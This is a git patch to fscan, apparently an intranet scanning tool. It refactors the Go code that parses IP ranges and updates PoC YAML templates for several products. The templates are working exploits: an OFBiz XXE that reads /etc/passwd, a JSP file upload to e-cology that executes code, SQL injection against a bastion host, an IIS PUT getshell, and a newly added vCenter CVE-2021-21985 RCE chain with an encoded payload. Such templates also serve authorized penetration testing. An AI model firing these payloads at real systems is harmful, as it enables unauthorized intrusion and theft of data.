From 4a34745091500d284e5d87b272392b1b2e00f1da Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E5=BD=B1=E8=88=9E=E8=80=85?= Date: Wed, 1 Dec 2021 15:22:48 +0800 Subject: [PATCH] =?UTF-8?q?=E4=BC=98=E5=8C=96ip=E8=A7=A3=E6=9E=90=E6=A8=A1?= =?UTF-8?q?=E5=9D=97?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- Plugins/scanner.go | 10 +- README.md | 1 + ...yml => apache-ofbiz-cve-2018-8033-xxe.yml} | 6 +- ....yml => ecology-arbitrary-file-upload.yml} | 2 +- ...ate-sqli.yml => ecology-validate-sqli.yml} | 2 +- .../finereport-v8-arbitrary-file-read.yml | 2 +- .../{iis6.0-put.yml => iis-put-getshell.yml} | 3 +- WebScan/pocs/kingsoft-v8-file-read.yml | 1 + .../qizhi-fortressaircraft-unauthorized.yml | 4 +- ...ml => ruijie-eweb-rce-cnvd-2021-09650.yml} | 0 WebScan/pocs/ruijie-uac-cnvd-2021-14536.yml | 2 +- .../saltstack-cve-2021-25282-file-write.yml | 2 +- WebScan/pocs/seeyon-a6-employee-info-leak.yml | 5 +- WebScan/pocs/seeyon-a6-test-jsp-sql.yml | 2 +- WebScan/pocs/seeyon-oa-cookie-leak.yml | 2 +- WebScan/pocs/seeyon-session-leak.yml | 2 +- .../vmware-vcenter-cve-2021-21985-rce.yml | 22 ++- ...ml => yonyou-nc-arbitrary-file-upload.yml} | 2 +- ...u-u8-oa-sqli.yml => yonyou-u8-oa-sqli.yml} | 3 +- common/Parse.go | 8 +- common/ParseIP.go | 166 ++++++++---------- 21 files changed, 125 insertions(+), 122 deletions(-) rename WebScan/pocs/{apacheofbiz-cve-2018-8033-xxe.yml => apache-ofbiz-cve-2018-8033-xxe.yml} (71%) rename WebScan/pocs/{weaver-oa-arbitrary-file-upload.yml => ecology-arbitrary-file-upload.yml} (82%) rename WebScan/pocs/{weaver-ecology-validate-sqli.yml => ecology-validate-sqli.yml} (97%) rename WebScan/pocs/{iis6.0-put.yml => iis-put-getshell.yml} (89%) rename WebScan/pocs/{ruijie-rce-cnvd-2021-09650.yml => ruijie-eweb-rce-cnvd-2021-09650.yml} (100%) rename WebScan/pocs/{yonyou-nc6.5-arbitrary-file-upload.yml => yonyou-nc-arbitrary-file-upload.yml} (99%) rename WebScan/pocs/{yongyou-u8-oa-sqli.yml => yonyou-u8-oa-sqli.yml} (89%) diff --git a/Plugins/scanner.go b/Plugins/scanner.go index 2ed7b27..bb1fd7b 100644 --- a/Plugins/scanner.go +++ b/Plugins/scanner.go @@ -13,7 +13,11 @@ import ( func Scan(info common.HostInfo) { fmt.Println("start infoscan") - Hosts, _ := common.ParseIP(info.Host, common.HostFile, common.NoHosts) + Hosts, err := common.ParseIP(info.Host, common.HostFile, common.NoHosts) + if err != nil { + fmt.Println("len(hosts)==0", err) + return + } lib.Inithttp(common.Pocinfo) var ch = make(chan struct{}, common.Threads) var wg = sync.WaitGroup{} @@ -38,8 +42,10 @@ func Scan(info common.HostInfo) { fmt.Println("start vulscan") for _, targetIP := range AlivePorts { info.Host, info.Ports = strings.Split(targetIP, ":")[0], strings.Split(targetIP, ":")[1] - if info.Scantype == "all" || info.Scantype == "main"{ + if info.Scantype == "all" || info.Scantype == "main" { switch { + case info.Ports == "135": + AddScan(info.Ports, info, ch, &wg) //findnet case info.Ports == "445": //AddScan(info.Ports, info, ch, &wg) //smb AddScan("1000001", info, ch, &wg) //ms17010 diff --git a/README.md b/README.md index 311d757..f4a7793 100644 --- a/README.md +++ b/README.md @@ -170,6 +170,7 @@ fscan 是 404Team [星链计划2.0](https://github.com/knownsec/404StarLink2.0-G 除非您已充分阅读、完全理解并接受本协议所有条款,否则,请您不要安装并使用本工具。您的使用行为或者您以其他任何明示或者默示方式表示接受本协议的,即视为您已阅读并同意本协议的约束。 ## 最近更新 +[+] 2021/12/1 优化xray解析模块,支持groups、新增poc,加入https判断(tls握手包),优化ip解析模块(支持所有ip/xx),增加爆破关闭参数 -nobr,添加跳过某些ip扫描功能 -hn 192.168.1.1,添加跳过某些端口扫描功能-pn 21,445,增加扫描docker未授权漏洞 [+] 2021/6/18 改善一下poc的机制,如果识别出指纹会根据指纹信息发送poc,如果没有识别到指纹才会把所有poc打一遍 [+] 2021/5/29 加入fcgi协议未授权命令执行扫描,优化poc模块,优化icmp模块,ssh模块加入私钥连接 [+] 2021/5/15 新增win03版本(删减了xray_poc模块),增加-silent 静默扫描模式,添加web指纹,修复netbios模块数组越界,添加一个CheckErrs字典,webtitle 增加gzip解码 diff --git a/WebScan/pocs/apacheofbiz-cve-2018-8033-xxe.yml b/WebScan/pocs/apache-ofbiz-cve-2018-8033-xxe.yml similarity index 71% rename from WebScan/pocs/apacheofbiz-cve-2018-8033-xxe.yml rename to WebScan/pocs/apache-ofbiz-cve-2018-8033-xxe.yml index 51a6e22..50b63f9 100644 --- a/WebScan/pocs/apacheofbiz-cve-2018-8033-xxe.yml +++ b/WebScan/pocs/apache-ofbiz-cve-2018-8033-xxe.yml @@ -1,4 +1,4 @@ -name: poc-yaml-apacheofbiz-cve-2018-8033-xxe +name: poc-yaml-apache-ofbiz-cve-2018-8033-xxe rules: - method: POST path: /webtools/control/xmlrpc @@ -8,8 +8,8 @@ rules: ]>&disclose; follow_redirects: false expression: > - response.status == 200 && "root:[x*]:0:0:".bmatches(response.body) && response.content_type.contains("text/xml") + response.status == 200 && response.content_type.contains("text/xml") && "root:[x*]:0:0:".bmatches(response.body) detail: author: su(https://suzzz112113.github.io/#blog) links: - - https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py \ No newline at end of file + - https://github.com/jamieparfet/Apache-OFBiz-XXE/blob/master/exploit.py diff --git a/WebScan/pocs/weaver-oa-arbitrary-file-upload.yml b/WebScan/pocs/ecology-arbitrary-file-upload.yml similarity index 82% rename from WebScan/pocs/weaver-oa-arbitrary-file-upload.yml rename to WebScan/pocs/ecology-arbitrary-file-upload.yml index f37b591..789d9b2 100644 --- a/WebScan/pocs/weaver-oa-arbitrary-file-upload.yml +++ b/WebScan/pocs/ecology-arbitrary-file-upload.yml @@ -12,7 +12,7 @@ rules: ------WebKitFormBoundaryFy3iNVBftjP6IOwo Content-Disposition: form-data; name="file"; filename="{{r1}}.jsp" Content-Type: application/octet-stream - <%out.print({{r2}} * {{r3}});%> + <%out.print({{r2}} * {{r3}});new java.io.File(application.getRealPath(request.getServletPath())).delete();%> ------WebKitFormBoundaryFy3iNVBftjP6IOwo-- expression: response.status == 200 - method: GET diff --git a/WebScan/pocs/weaver-ecology-validate-sqli.yml b/WebScan/pocs/ecology-validate-sqli.yml similarity index 97% rename from WebScan/pocs/weaver-ecology-validate-sqli.yml rename to WebScan/pocs/ecology-validate-sqli.yml index 52d4c88..ebeb80a 100644 --- a/WebScan/pocs/weaver-ecology-validate-sqli.yml +++ b/WebScan/pocs/ecology-validate-sqli.yml @@ -14,4 +14,4 @@ detail: author: fuping links: - https://news.ssssafe.com/archives/3325 - - https://www.weaver.com.cn/cs/securityDownload.asp \ No newline at end of file + - https://www.weaver.com.cn/cs/securityDownload.asp diff --git a/WebScan/pocs/finereport-v8-arbitrary-file-read.yml b/WebScan/pocs/finereport-v8-arbitrary-file-read.yml index 7cd9f41..1df681a 100644 --- a/WebScan/pocs/finereport-v8-arbitrary-file-read.yml +++ b/WebScan/pocs/finereport-v8-arbitrary-file-read.yml @@ -1,4 +1,4 @@ -name: poc-yaml-finereport-v8-arbitrary-file-read +name: poc-yaml-fineReport-v8.0-arbitrary-file-read rules: - method: GET path: /WebReport/ReportServer?op=chart&cmd=get_geo_json&resourcepath=privilege.xml diff --git a/WebScan/pocs/iis6.0-put.yml b/WebScan/pocs/iis-put-getshell.yml similarity index 89% rename from WebScan/pocs/iis6.0-put.yml rename to WebScan/pocs/iis-put-getshell.yml index de6c485..82f020d 100644 --- a/WebScan/pocs/iis6.0-put.yml +++ b/WebScan/pocs/iis-put-getshell.yml @@ -15,7 +15,8 @@ rules: follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(fileContent)) + detail: author: Cannae(github.com/thunderbarca) links: - - https://www.cnblogs.com/-mo-/p/11295400.html \ No newline at end of file + - https://www.cnblogs.com/-mo-/p/11295400.html diff --git a/WebScan/pocs/kingsoft-v8-file-read.yml b/WebScan/pocs/kingsoft-v8-file-read.yml index 02b3eb0..728e10a 100644 --- a/WebScan/pocs/kingsoft-v8-file-read.yml +++ b/WebScan/pocs/kingsoft-v8-file-read.yml @@ -6,6 +6,7 @@ rules: follow_redirects: false expression: | response.status == 200 && (response.body.bcontains(b"for 16-bit app support") || response.body.bcontains(b"[extensions]")) && response.headers["Content-Type"].contains("application/zip") + detail: author: kzaopa(https://github.com/kzaopa) links: diff --git a/WebScan/pocs/qizhi-fortressaircraft-unauthorized.yml b/WebScan/pocs/qizhi-fortressaircraft-unauthorized.yml index 9bc1287..734300a 100644 --- a/WebScan/pocs/qizhi-fortressaircraft-unauthorized.yml +++ b/WebScan/pocs/qizhi-fortressaircraft-unauthorized.yml @@ -1,12 +1,12 @@ name: poc-yaml-qizhi-fortressaircraft-unauthorized - rules: - method: GET path: >- /audit/gui_detail_view.php?token=1&id=%5C&uid=%2Cchr(97))%20or%201:%20print%20chr(121)%2bchr(101)%2bchr(115)%0d%0a%23&login=shterm expression: | response.status == 200 && response.body.bcontains(b"错误的id") && response.body.bcontains(b"审计管理员") && response.body.bcontains(b"事件审计") + detail: author: we1x4n(https://we1x4n.com/) links: - - https://mp.weixin.qq.com/s/FjMRJfCqmXfwPzGYq5Vhkw \ No newline at end of file + - https://mp.weixin.qq.com/s/FjMRJfCqmXfwPzGYq5Vhkw diff --git a/WebScan/pocs/ruijie-rce-cnvd-2021-09650.yml b/WebScan/pocs/ruijie-eweb-rce-cnvd-2021-09650.yml similarity index 100% rename from WebScan/pocs/ruijie-rce-cnvd-2021-09650.yml rename to WebScan/pocs/ruijie-eweb-rce-cnvd-2021-09650.yml diff --git a/WebScan/pocs/ruijie-uac-cnvd-2021-14536.yml b/WebScan/pocs/ruijie-uac-cnvd-2021-14536.yml index 6aa046e..e110558 100644 --- a/WebScan/pocs/ruijie-uac-cnvd-2021-14536.yml +++ b/WebScan/pocs/ruijie-uac-cnvd-2021-14536.yml @@ -8,4 +8,4 @@ rules: detail: author: jweny(https://github.com/jweny) links: - - https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247483972&idx=1&sn=b51678c6206a533330b0279454335065 \ No newline at end of file + - https://mp.weixin.qq.com/s?__biz=Mzg3NDU2MTg0Ng==&mid=2247483972&idx=1&sn=b51678c6206a533330b0279454335065 diff --git a/WebScan/pocs/saltstack-cve-2021-25282-file-write.yml b/WebScan/pocs/saltstack-cve-2021-25282-file-write.yml index 63f6a1b..a068f67 100644 --- a/WebScan/pocs/saltstack-cve-2021-25282-file-write.yml +++ b/WebScan/pocs/saltstack-cve-2021-25282-file-write.yml @@ -19,4 +19,4 @@ rules: detail: author: jweny(https://github.com/jweny) links: - - https://www.anquanke.com/post/id/232748 \ No newline at end of file + - https://www.anquanke.com/post/id/232748 diff --git a/WebScan/pocs/seeyon-a6-employee-info-leak.yml b/WebScan/pocs/seeyon-a6-employee-info-leak.yml index b655ab7..8a9d5af 100644 --- a/WebScan/pocs/seeyon-a6-employee-info-leak.yml +++ b/WebScan/pocs/seeyon-a6-employee-info-leak.yml @@ -1,5 +1,6 @@ name: poc-yaml-seeyon-a6-employee-info-leak -rules: +groups: + poc1: - method: GET path: /yyoa/DownExcelBeanServlet?contenttype=username&contentvalue=&state=1&per_id=0 expression: @@ -8,4 +9,4 @@ detail: author: sakura404x version: 致远A6 links: - - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3351.md \ No newline at end of file + - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3351.md diff --git a/WebScan/pocs/seeyon-a6-test-jsp-sql.yml b/WebScan/pocs/seeyon-a6-test-jsp-sql.yml index fde5f2a..c104494 100644 --- a/WebScan/pocs/seeyon-a6-test-jsp-sql.yml +++ b/WebScan/pocs/seeyon-a6-test-jsp-sql.yml @@ -10,4 +10,4 @@ detail: author: sakura404x version: 致远A6 links: - - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3346.md \ No newline at end of file + - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3346.md diff --git a/WebScan/pocs/seeyon-oa-cookie-leak.yml b/WebScan/pocs/seeyon-oa-cookie-leak.yml index e746c4b..ca57e6f 100644 --- a/WebScan/pocs/seeyon-oa-cookie-leak.yml +++ b/WebScan/pocs/seeyon-oa-cookie-leak.yml @@ -13,4 +13,4 @@ rules: detail: author: Print1n(http://print1n.top) links: - - https://mp.weixin.qq.com/s/0AqdfTrZUVrwTMbKEKresg \ No newline at end of file + - https://mp.weixin.qq.com/s/0AqdfTrZUVrwTMbKEKresg diff --git a/WebScan/pocs/seeyon-session-leak.yml b/WebScan/pocs/seeyon-session-leak.yml index 4722203..1ce63fa 100644 --- a/WebScan/pocs/seeyon-session-leak.yml +++ b/WebScan/pocs/seeyon-session-leak.yml @@ -7,4 +7,4 @@ rules: detail: author: sakura404x links: - - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3345.md \ No newline at end of file + - https://github.com/apachecn/sec-wiki/blob/c73367f88026f165b02a1116fe1f1cd2b8e8ac37/doc/unclassified/zhfly3345.md diff --git a/WebScan/pocs/vmware-vcenter-cve-2021-21985-rce.yml b/WebScan/pocs/vmware-vcenter-cve-2021-21985-rce.yml index 6d3b795..08fc00b 100644 --- a/WebScan/pocs/vmware-vcenter-cve-2021-21985-rce.yml +++ b/WebScan/pocs/vmware-vcenter-cve-2021-21985-rce.yml @@ -4,14 +4,30 @@ rules: path: /ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData headers: Content-Type: application/json - body: |- + body: | {"methodInput":[{"type":"ClusterComputeResource","value": null,"serverGuid": null}]}\x0d\x0a expression: | - response.status == 200 && response.body.bcontains(b"result") + response.status == 200 && response.body.bcontains(b"{\"result\":{\"") && response.headers["set-Cookie"].contains("VSPHERE-UI-JSESSIONID") + - method: POST + path: /ui/h5-vsan/rest/proxy/service/vmodlContext/loadVmodlPackages + headers: + Content-Type: application/json + body: | + {"methodInput": [["https://localhost:443/vsanHealth/vum/driverOfflineBundle/data:text/html%3Bbase64,UEsDBBQAAAAIADihc1Okxc3arAEAAI8EAAASAAAAb2ZmbGluZV9idW5kbGUueG1spVNNT+MwFLxX4j+YIFWNRG0+biWJBOxlJVZC2z0gIQ6O+5qYdeysn9MUIf77unGBfoFUyCXOezMvM2M7yYFrJPNKaUyj0rl6xFjbthRrK3UxtbyC1ti/1NiCoSih4qyjRAc9Ep6OO5qjXOO35x3l7OTklN39uhl31KHU6LgWsMJGOQpzb4zgThqdvjb3ULMPlgXAsPugc5xEWfhhsqgQOUmjOo+IUBx9JI98xqniuqC31ghAvGqkmoB9JXVEYbwv2whn7JDbYqXlm0qiW6v42oyrBjKWS81yjmXCQmEnaig+bSeH99c/Lv9c3pO2NLyS5Czrn5KHh2wXK2EbahK2W3vSZbUVjMT1YKShP3XduLGzwKvfwPdJ5s3C0XOdU38wrBvEtAC3MnIQv2z72FN0brdEXzXTKViYfF2xxO8LE0YpWEA3Um2cVD6PhX96/Y7JPhiDT+ig2nFix6GxKrC2pgbrnoj21yON2pI7mPkESGcljY6eSRhHEdztEjzo/2uMuzCN8/sS1sckt1RJDei3bOlj8O6HPhqp/SVbMg964R3HMXmJ2GYqYYF+9R9QSwECFAAUAAAACAA4oXNTpMXN2qwBAACPBAAAEgAAAAAAAAAAAAAAtoEAAAAAb2ZmbGluZV9idW5kbGUueG1sUEsFBgAAAAABAAEAQAAAANwBAAAAAA==%23"]]} + expression: | + response.status == 200 + - method: POST + path: /ui/h5-vsan/rest/proxy/service/systemProperties/getProperty + headers: + Content-Type: application/json + body: | + {"methodInput": ["output", null]} + expression: | + response.status == 200 && response.body.bcontains(b"{\"result\":") && !response.body.bcontains(b"null") detail: vulnpath: "/ui/h5-vsan/rest/proxy/service/com.vmware.vsan.client.services.capability.VsanCapabilityProvider/getClusterCapabilityData" author: envone77 description: "vmware vCenter unauth RCE cve-2021-21985" links: - https://www.anquanke.com/post/id/243098 - - https://github.com/alt3kx/CVE-2021-21985_PoC \ No newline at end of file + - https://github.com/alt3kx/CVE-2021-21985_PoC diff --git a/WebScan/pocs/yonyou-nc6.5-arbitrary-file-upload.yml b/WebScan/pocs/yonyou-nc-arbitrary-file-upload.yml similarity index 99% rename from WebScan/pocs/yonyou-nc6.5-arbitrary-file-upload.yml rename to WebScan/pocs/yonyou-nc-arbitrary-file-upload.yml index 8e6b75e..d2b975a 100644 --- a/WebScan/pocs/yonyou-nc6.5-arbitrary-file-upload.yml +++ b/WebScan/pocs/yonyou-nc-arbitrary-file-upload.yml @@ -23,4 +23,4 @@ detail: author: pa55w0rd(www.pa55w0rd.online/) Affected Version: "YONYOU NC > 6.5" links: - - https://blog.csdn.net/weixin_44578334/article/details/110917053 \ No newline at end of file + - https://blog.csdn.net/weixin_44578334/article/details/110917053 diff --git a/WebScan/pocs/yongyou-u8-oa-sqli.yml b/WebScan/pocs/yonyou-u8-oa-sqli.yml similarity index 89% rename from WebScan/pocs/yongyou-u8-oa-sqli.yml rename to WebScan/pocs/yonyou-u8-oa-sqli.yml index cfe638d..9933b52 100644 --- a/WebScan/pocs/yongyou-u8-oa-sqli.yml +++ b/WebScan/pocs/yonyou-u8-oa-sqli.yml @@ -7,7 +7,8 @@ rules: follow_redirects: false expression: | response.status == 200 && response.body.bcontains(bytes(md5(string(rand)))) + detail: author: kzaopa(https://github.com/kzaopa) links: - - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20OA%20test.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html + - http://wiki.peiqi.tech/PeiQi_Wiki/OA%E4%BA%A7%E5%93%81%E6%BC%8F%E6%B4%9E/%E7%94%A8%E5%8F%8BOA/%E7%94%A8%E5%8F%8B%20U8%20OA%20test.jsp%20SQL%E6%B3%A8%E5%85%A5%E6%BC%8F%E6%B4%9E.html \ No newline at end of file diff --git a/common/Parse.go b/common/Parse.go index c26d889..1cf6f9f 100644 --- a/common/Parse.go +++ b/common/Parse.go @@ -118,7 +118,7 @@ func ParseInput(Info *HostInfo) { IsSave = false } if Info.Ports == DefaultPorts { - Info.Ports += Webport + Info.Ports += "," + Webport } } @@ -130,14 +130,18 @@ func ParseScantype(Info *HostInfo) { if Info.Scantype != "all" { if Info.Ports == DefaultPorts { switch Info.Scantype { + case "wmi": + Info.Ports = "135" case "web": Info.Ports = Webport case "ms17010": Info.Ports = "445" case "cve20200796": Info.Ports = "445" + case "smb2": + Info.Ports = "445" case "portscan": - Info.Ports = DefaultPorts + Info.Ports = DefaultPorts + "," + Webport case "main": Info.Ports = DefaultPorts default: diff --git a/common/ParseIP.go b/common/ParseIP.go index ed67681..feb0f51 100644 --- a/common/ParseIP.go +++ b/common/ParseIP.go @@ -22,120 +22,113 @@ var ParseIPErr = errors.New(" host parsing error\n" + "192.168.1.1-192.168.255.255\n" + "192.168.1.1-255") -func ParseIP(ip string, filename string, nohost string) (hosts []string, err error) { - if ip != "" { - hosts = ParseIPs(ip, true) +func ParseIP(host string, filename string, nohosts ...string) (hosts []string, err error) { + if host == "" { + return } + hosts = ParseIPs(host) if filename != "" { var filehost []string filehost, _ = Readipfile(filename) hosts = append(hosts, filehost...) } - if nohost != "" { - nohosts := ParseIPs(nohost, true) - if len(nohosts) > 0 { - temp := map[string]struct{}{} - for _, host := range hosts { - temp[host] = struct{}{} - } + if len(nohosts) > 0 { + nohost := nohosts[0] + if nohost != "" { + nohosts := ParseIPs(nohost) + if len(nohosts) > 0 { + temp := map[string]struct{}{} + for _, host := range hosts { + temp[host] = struct{}{} + } - for _, host := range nohosts { - delete(temp, host) - } + for _, host := range nohosts { + delete(temp, host) + } - var newDatas []string - for host, _ := range temp { - newDatas = append(newDatas, host) + var newDatas []string + for host := range temp { + newDatas = append(newDatas, host) + } + hosts = newDatas + sort.Strings(hosts) } - hosts = newDatas - sort.Strings(hosts) } } hosts = RemoveDuplicate(hosts) - return hosts, err + if len(hosts) == 0 { + err = ParseIPErr + } + return } -func ParseIPs(ip string, flag ...bool) (hosts []string) { - var err error - var flag1 bool - if len(flag) > 0 { - flag1 = flag[0] - } +func ParseIPs(ip string) (hosts []string) { if strings.Contains(ip, ",") { IPList := strings.Split(ip, ",") var ips []string for _, ip := range IPList { - ips, err = ParseIPone(ip) - CheckErr(ip, err, flag1) + ips = parseIP(ip) hosts = append(hosts, ips...) } } else { - hosts, err = ParseIPone(ip) + hosts = parseIP(ip) } - - CheckErr(ip, err, flag1) return hosts } -func ParseIPone(ip string) ([]string, error) { +func parseIP(ip string) []string { reg := regexp.MustCompile(`[a-zA-Z]+`) switch { - case strings.Contains(ip[len(ip)-3:], "/24"): - return ParseIPA(ip) - case strings.Contains(ip[len(ip)-3:], "/16"): - return ParseIPD(ip) - case strings.Contains(ip[len(ip)-2:], "/8"): - return ParseIPE(ip) - case strings.Count(ip, "-") == 1: - return ParseIPC(ip) + //解析 /24 /16 /8 /xxx 等 + case strings.Contains(ip, "/"): + return parseIP2(ip) + //192.168.1.1-192.168.1.100 + case strings.Contains(ip, "-"): + return parseIP1(ip) + //可能是域名,用lookup获取ip case reg.MatchString(ip): _, err := net.LookupHost(ip) if err != nil { - return nil, err + return nil } - return []string{ip}, nil + return []string{ip} + //处理单个ip default: testIP := net.ParseIP(ip) if testIP == nil { - return nil, ParseIPErr + return nil } - return []string{ip}, nil + return []string{ip} } } -//Parsing CIDR IP -func ParseIPA(ip string) ([]string, error) { - realIP := ip[:len(ip)-3] - testIP := net.ParseIP(realIP) - - if testIP == nil { - return nil, ParseIPErr +// 把 192.168.x.x/xx 转换成 192.168.x.x-192.168.x.x +func parseIP2(host string) (hosts []string) { + _, ipNet, err := net.ParseCIDR(host) + if err != nil { + return } - IPrange := strings.Join(strings.Split(realIP, ".")[0:3], ".") - var AllIP []string - for i := 0; i <= 255; i++ { - AllIP = append(AllIP, IPrange+"."+strconv.Itoa(i)) - } - return AllIP, nil + hosts = parseIP1(IPRange(ipNet)) + return } -//Resolving a range of IP,for example: 192.168.111.1-255,192.168.111.1-192.168.112.255 -func ParseIPC(ip string) ([]string, error) { +// 解析ip段: 192.168.111.1-255,192.168.111.1-192.168.112.255 +func parseIP1(ip string) []string { IPRange := strings.Split(ip, "-") testIP := net.ParseIP(IPRange[0]) var AllIP []string if len(IPRange[1]) < 4 { Range, err := strconv.Atoi(IPRange[1]) if testIP == nil || Range > 255 || err != nil { - return nil, ParseIPErr + return nil } SplitIP := strings.Split(IPRange[0], ".") ip1, err1 := strconv.Atoi(SplitIP[3]) ip2, err2 := strconv.Atoi(IPRange[1]) PrefixIP := strings.Join(SplitIP[0:3], ".") if ip1 > ip2 || err1 != nil || err2 != nil { - return nil, ParseIPErr + return nil } for i := ip1; i <= ip2; i++ { AllIP = append(AllIP, PrefixIP+"."+strconv.Itoa(i)) @@ -144,14 +137,14 @@ func ParseIPC(ip string) ([]string, error) { SplitIP1 := strings.Split(IPRange[0], ".") SplitIP2 := strings.Split(IPRange[1], ".") if len(SplitIP1) != 4 || len(SplitIP2) != 4 { - return nil, ParseIPErr + return nil } start, end := [4]int{}, [4]int{} for i := 0; i < 4; i++ { ip1, err1 := strconv.Atoi(SplitIP1[i]) ip2, err2 := strconv.Atoi(SplitIP2[i]) if ip1 > ip2 || err1 != nil || err2 != nil { - return nil, ParseIPErr + return nil } start[i], end[i] = ip1, ip2 } @@ -162,46 +155,24 @@ func ParseIPC(ip string) ([]string, error) { AllIP = append(AllIP, ip) } } - - return AllIP, nil - + return AllIP } -func ParseIPD(ip string) ([]string, error) { - realIP := ip[:len(ip)-3] - testIP := net.ParseIP(realIP) - - if testIP == nil { - return nil, ParseIPErr +// 获取起始IP、结束IP +func IPRange(c *net.IPNet) string { + start := c.IP.String() + mask := c.Mask + bcst := make(net.IP, len(c.IP)) + copy(bcst, c.IP) + for i := 0; i < len(mask); i++ { + ipIdx := len(bcst) - i - 1 + bcst[ipIdx] = c.IP[ipIdx] | ^mask[len(mask)-i-1] } - IPrange := strings.Join(strings.Split(realIP, ".")[0:2], ".") - var AllIP []string - for a := 0; a <= 255; a++ { - for b := 0; b <= 255; b++ { - AllIP = append(AllIP, IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)) - } - } - return AllIP, nil -} - -func ParseIPE(ip string) ([]string, error) { - realIP := ip[:len(ip)-2] - testIP := net.ParseIP(realIP) - - if testIP == nil { - return nil, ParseIPErr - } - IPrange := strings.Join(strings.Split(realIP, ".")[0:1], ".") - var AllIP []string - for a := 0; a <= 255; a++ { - for b := 0; b <= 255; b++ { - AllIP = append(AllIP, IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)+"."+strconv.Itoa(1)) - AllIP = append(AllIP, IPrange+"."+strconv.Itoa(a)+"."+strconv.Itoa(b)+"."+strconv.Itoa(254)) - } - } - return AllIP, nil + end := bcst.String() + return fmt.Sprintf("%s-%s", start, end) //返回用-表示的ip段,192.168.1.0-192.168.255.255 } +// 按行读ip func Readipfile(filename string) ([]string, error) { file, err := os.Open(filename) if err != nil { @@ -222,6 +193,7 @@ func Readipfile(filename string) ([]string, error) { return content, nil } +// 去重 func RemoveDuplicate(old []string) []string { result := []string{} temp := map[string]struct{}{}